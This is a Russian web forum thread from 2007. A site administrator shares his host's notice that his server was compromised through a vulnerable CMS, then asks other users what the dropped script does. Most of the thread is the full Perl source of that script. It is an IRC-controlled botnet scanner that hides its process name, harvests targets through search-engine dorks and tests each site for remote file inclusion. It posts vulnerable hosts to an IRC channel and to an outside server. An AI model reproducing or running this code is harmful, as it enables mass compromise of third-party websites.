Автор Тема: О как!!!!!  (Прочитано 5521 раз)

0 Пользователей и 1 Гость просматривают эту тему.

Оффлайн Hunter

  • мы все умрем!
  • Administrator
  • *****
  • Сообщений: 3038
  • Карма: +130/-11
  • Пол: Мужской
  • Мы все умрем!
    • Кубок Заполярья
О как!!!!!
« : 25.09.2007, 14:36:15 »
Письмо от хостера:

Доброго времени суток  !

Сегодня было обнаружено, что Ваш виртуальный сервер ooosota.ru
был взломан неизвестными злоумышлениками, которые загрузили на сервер,
через уязвимость в Ваших скриптах, различные скрипты, которые флудили
другие сервера и мешали работе корневого сервера.
В связи с этим Ваш сервер временно остановлен.

Свяжитесь со службой технической поддержки, для того чтобы Вам обратно
включили сервер и Вы смоги устранить проблему в безопасности своих
скриптов.

Нелегальные процессы:
 8545       48 14958  0.1  0.0  3696 2640 ?        R    Sep12  27:19 sendmail: accepting connections                     
? chanary
 
Информация netstat:
 tcp        0     68 84.252.155.240:6667         125.160.60.181:4234         ESTABLISHED 15982/sendmail: acc
tcp        0      0 84.252.155.240:52323        208.99.193.130:6667         ESTABLISHED 15982/sendmail: acc
tcp        0      0 84.252.155.240:51206        208.99.193.130:6667         ESTABLISHED 15982/sendmail: acc
tcp        0    242 84.252.155.240:6667         202.43.172.145:1613         ESTABLISHED 15982/sendmail: acc
tcp        0      0 84.252.155.240:36175        194.14.236.50:6667          ESTABLISHED 15982/sendmail: acc

содержимое /tmp/
drwxr-xr-x   4 apache apache  1024 Sep 25 10:17 .psy
-rw-r--r--   1 apache apache  9350 Sep 16 01:48 keramput.txt
« Последнее редактирование: 25.09.2007, 21:11:27 от Hunter »

Оффлайн Hedgehog

  • Administrator
  • *****
  • Сообщений: 887
  • Карма: +25/-3
  • Пол: Мужской
Re: О как!!!!!
« Ответ #1 : 25.09.2007, 14:39:41 »
сволочи!!!  :rant2: :rant: :rant2:

Helmet

  • Гость
Re: О как!!!!!
« Ответ #2 : 25.09.2007, 14:43:40 »
И до вас добрались! Мать их!!! :rant2: :rant:

Оффлайн Hunter

  • мы все умрем!
  • Administrator
  • *****
  • Сообщений: 3038
  • Карма: +130/-11
  • Пол: Мужской
  • Мы все умрем!
    • Кубок Заполярья
Re: О как!!!!!
« Ответ #3 : 25.09.2007, 21:10:43 »
Всё это произошло потому что однин из сайтов, имел движек Limbo ((Lite Mambo) это бесплатная CMS, компактная и быстрая система управления контентом небольшого динамичного сайта без использования MySQL), он и был вскрыт. Далее в одну из директорий поместили скрипт, который породил гиганский трафик (что именно он делал пока еще не знаю :)) хостеры  остановили сервер......

val

  • Гость
Re: О как!!!!!
« Ответ #4 : 26.09.2007, 10:17:44 »
породил гигантский трафик, это что значит?

Оффлайн Hunter

  • мы все умрем!
  • Administrator
  • *****
  • Сообщений: 3038
  • Карма: +130/-11
  • Пол: Мужской
  • Мы все умрем!
    • Кубок Заполярья
Re: О как!!!!!
« Ответ #5 : 26.09.2007, 10:51:33 »
Ну посылал запросы на другие сервера, может спам рассылал, может себя, или тестил другие сайты на уязвимость...

Оффлайн Hunter

  • мы все умрем!
  • Administrator
  • *****
  • Сообщений: 3038
  • Карма: +130/-11
  • Пол: Мужской
  • Мы все умрем!
    • Кубок Заполярья
Re: О как!!!!!
« Ответ #6 : 26.09.2007, 17:36:09 »
Кто шарит в програмировании, мож скажете что деит сие детище:

##############################
#!/usr/bin/perl
#
##############################

use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;

###############CONFIGURATION###################
my $processo = "/usr/local/apache/bin/nscan -DSSL";
my $printcmd="ссылка";
my $server="irc.dal.net";
my $porta="6667";
my $nick="Keramput_Crew";
my $chan="#keramput";
###############END OF CONFIGURATION############

my $verbot = "2.0";
my $cmd="ссылка";
my $pid=fork;
exit if $pid;
$0="$processo"."\0"x16;
my $sk = IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>"$porta",Proto=>"tcp") or die "Can not connect on server!\n";
$sk->autoflush(1);
print $sk "NICK $nick\r\n";
print $sk "USER Google 8 *  : Google : google@google.it : Google :Google\r\n";
print $sk "JOIN $chan\r\n";
print $sk "PRIVMSG $chan :15[13@12MemeX15] 7Scan is 3ON : 4!keramput 2<bug> <dork>\r\n";

while($line = <$sk>){

$line =~ s/\r\n$//;
if ($line=~ /^PING \:(.*)/)
{
print "PONG :$1";
print $sk "PONG :$1";
}

if ($line=~ /PRIVMSG $chan :.deletebot/){
stampa($sk, "QUIT");
}

if ($line=~ /PRIVMSG $chan :!keramput\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my ($type,$space);
my %hosts;
stampa($sk, "PRIVMSG $chan :15[13@12BOT-MemeX15]4 Started: $bug - 9Dork: $dork 10Engine: Google");
stampa($sk, "PRIVMSG $chan :15[13@12Google]4 Scanning now...");
my @glist=&google($dork);
stampa($sk, "PRIVMSG $chan :15[13@12Msn15]4 Scanning now...");
my @mlist=&msn($dork);
stampa($sk, "PRIVMSG $chan :15[13@12Altavista15]4 Scanning now...");
my @alist=&altavista($dork);
stampa($sk, "PRIVMSG $chan :15[13@12Libero15]4 Scanning now...");
my @llist=&libero($dork);
stampa($sk, "PRIVMSG $chan :15[13@12Alltheweb15]4 Scanning now...");
my @allist=&alltheweb($dork);
stampa($sk, "PRIVMSG $chan :15[13@12Ask15]4 Scanning now...");
my @asklist=&ask($dork);
stampa($sk, "PRIVMSG $chan :15[13@12Uol15]4 Scanning now...");
my @uollist=&uol($dork);
stampa($sk, "PRIVMSG $chan :15[13@12Aol15]4 Scanning now...");
my @aollist=&aol($dork);
push(my @tot, @glist, @ylist, @mlist, @alist, @llist, @allist,@asklist,@uollist,@aollist);
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $chan :15[13@12MemeX-BOT] 4Total results7:12 ".scalar(@tot)." Sites!");
stampa($sk, "PRIVMSG $chan :15[13@12MemeX-BOT] 4Cleaned results7:12 ".scalar(@puliti)." Sites!");
stampa($sk, "PRIVMSG $chan :15[13@12MemeX-BOT15] 4Exploting started!");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %30==0){
}
if ($contatore==$uni-1){
stampa($sk, "PRIVMSG $chan :15[13@12MemeX-BOT15] 4Scan Finished12 $dork");
stampa($sk, "PRIVMSG $chan :15[13@12MemeX-BOT15]4 Thanks To aLL MemeX-CreW");
}
my $test="http://".$sito.$bug.$cmd."?";
my $print="http://".$sito.$bug.$printcmd."?";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /31337/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space,$ker)=split(/\,/,$x);
stampa($sk, "PRIVMSG $chan :15[13@12Safe4 OFF15] 15[13@12Sys4 ".$type."15] 15[13@12FREE4 ".$space." 15]7 $print");
stampa($sk, "PRIVMSG $chan :15[13@12Information15]4 $ker ");
checksafemode("$print");}}
elsif($re =~ /31337/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space,$ker)=split(/\,/,$x);
stampa($sk, "PRIVMSG $chan :15[13@12Safe 3ON15] 15[13@12Sys3 ".$type."15] 15[13@12FREE3 ".$space." 15]2 $print");
stampa($sk, "PRIVMSG $chan :15[13@12Information15]4 $ker ");
checksafemode("$print");}}
}}}
exit;
}}}


sub stampa()
{
if ($#_ == '1') {
my $sk = $_[0];
print $sk "$_[1]\n";
} else {
print $sk "$_[0]\n";
}}

sub os(){
my $sito=$_[0];
my $Res=query($sito);
my $type;
my $space;
my $ker;
my $str;
while($Res=~m/
OSTYPE:(.+?)\
/g){
$type=$1;
}
while($Res=~m/
Kernel:(.+?)\
/g){
$ker=$1;
}
while($Res=~m/
Free:(.+?)\
/g){
$space=$1;
}
$str=$type.",".$space.",".$ker;
return $str;
}

sub aol(){
my @lst;
my $key = $_[0];
for($b=1;$b<=100;$b++){
my $AoL=("ссылка".key($key)."&page=".$b."&nt=null&ie=UTF-8");
my $Res=query($AoL);
while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub google(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("ссылка".key($key)."&num=100&filter=0&start=".$b);
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub yahoo(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=100){
my $Ya=("ссылка".key($key)."&n=100&fr=sfp&b=".$b);
my $Res=query($Ya);
while($Res =~ m/\<em class=yschurl>(.+?)\<\/em>/g){
my $k=$1;
$k=~s///g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub altavista(){
my @lst;
my $key = $
_[0];
for($b=1;$b<=1000;$b+=10){
my $AlT=("ссылка".key($key)."&stq=".$b);
my $Res=query($AlT);
while($Res=~m/<span class=ngrn>(.+?)\//g){
if($1 !~ /altavista/){
my $k=$1;
$k=~s/<//g;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub msn(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $MsN=("ссылка".key($key)."&first=".$b."&FORM=PERE");
my $Res=query($MsN);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if($1 !~ /msn|live/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub libero(){
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0,$pg=0; $i<=1000; $i+=10,$pg++)
{
my $Lib=("ссылка".$pg."&start=".$i."&query=".key($key));
my $Res=query($Lib);
while($Res =~ m/<a class=\"testoblu\" href=\"?http:\/\/([^>\"]*)\//g){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub ask(){
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=10)
{
my $Ask=("ссылка".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
my $Res=query($Ask);
while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){
my $k=$3;
$k=~s/[\"\ ]//g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub alltheweb()
{
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=100)
{
my $all=("ссылка".key($key)."&o=".$i);
my $Res=query($all);
while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub uol(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $UoL=("ссылка".key($key)."&start=".$i);
my $Res=query($UoL);
while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){
my $k=$1;
if($k!~/busca|uol|yahoo/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}


sub links()
{
my @l;
my $link=$_[0];
my $host=$_[0];
my $hdir=$_[0];
$hdir=~s/(.*)\/[^\/]*$/\1/;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host.="/";
$link.="/";
$hdir.="/";
$host=~s/\/\//\//g;
$hdir=~s/\/\//\//g;
$link=~s/\/\//\//g;
push(@l,$link,$host,$hdir);
return @l;
}

sub geths(){
my $host=$_[0];
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
return $host;
}

sub key(){
my $chiave=$_[0];
$chiave =~ s/ /\+/g;
$chiave =~ s/:/\%3A/g;
$chiave =~ s/\//\%2F/g;
$chiave =~ s/&/\%26/g;
$chiave =~ s/\"/\%22/g;
$chiave =~ s/,/\%2C/g;
$chiave =~ s/\\/\%5C/g;
return $chiave;
}

sub query($){
my $url=$_[0];
$url=~s/http:\/\///;
my $host=$url;
my $query=$url;
my $page="";
$host=~s/href=\"?http:\/\///;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query=~s/$host//;
if ($query eq "") {$query="/";};
eval {
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
close($sock);
};
return $page;
}


sub checksafemode($){
my $url=$_[0];
$url=~s/http:\/\///;
my $host=$url;
my $query=$url;
my $page="";
$query=~s/$host//;
if ($query eq "") {$query="/";};
eval {
my $sock = IO::Socket::INET->new(PeerAddr=>"tckct.co.uk",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET /logfiles/CDPW3U1032/safe.php?url=$query HTTP/1.0\r\nHost: tckct.co.uk\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
close($sock);
};
}


sub unici{
my @unici = ();
my %visti = ();
foreach my $elemento ( @_ )
{
next if $visti{ $elemento }++;
push @unici, $elemento;
}
return @unici;
}

 

В быстром ответе можно использовать BB-теги и смайлы.

Имя:
Визуальная проверка: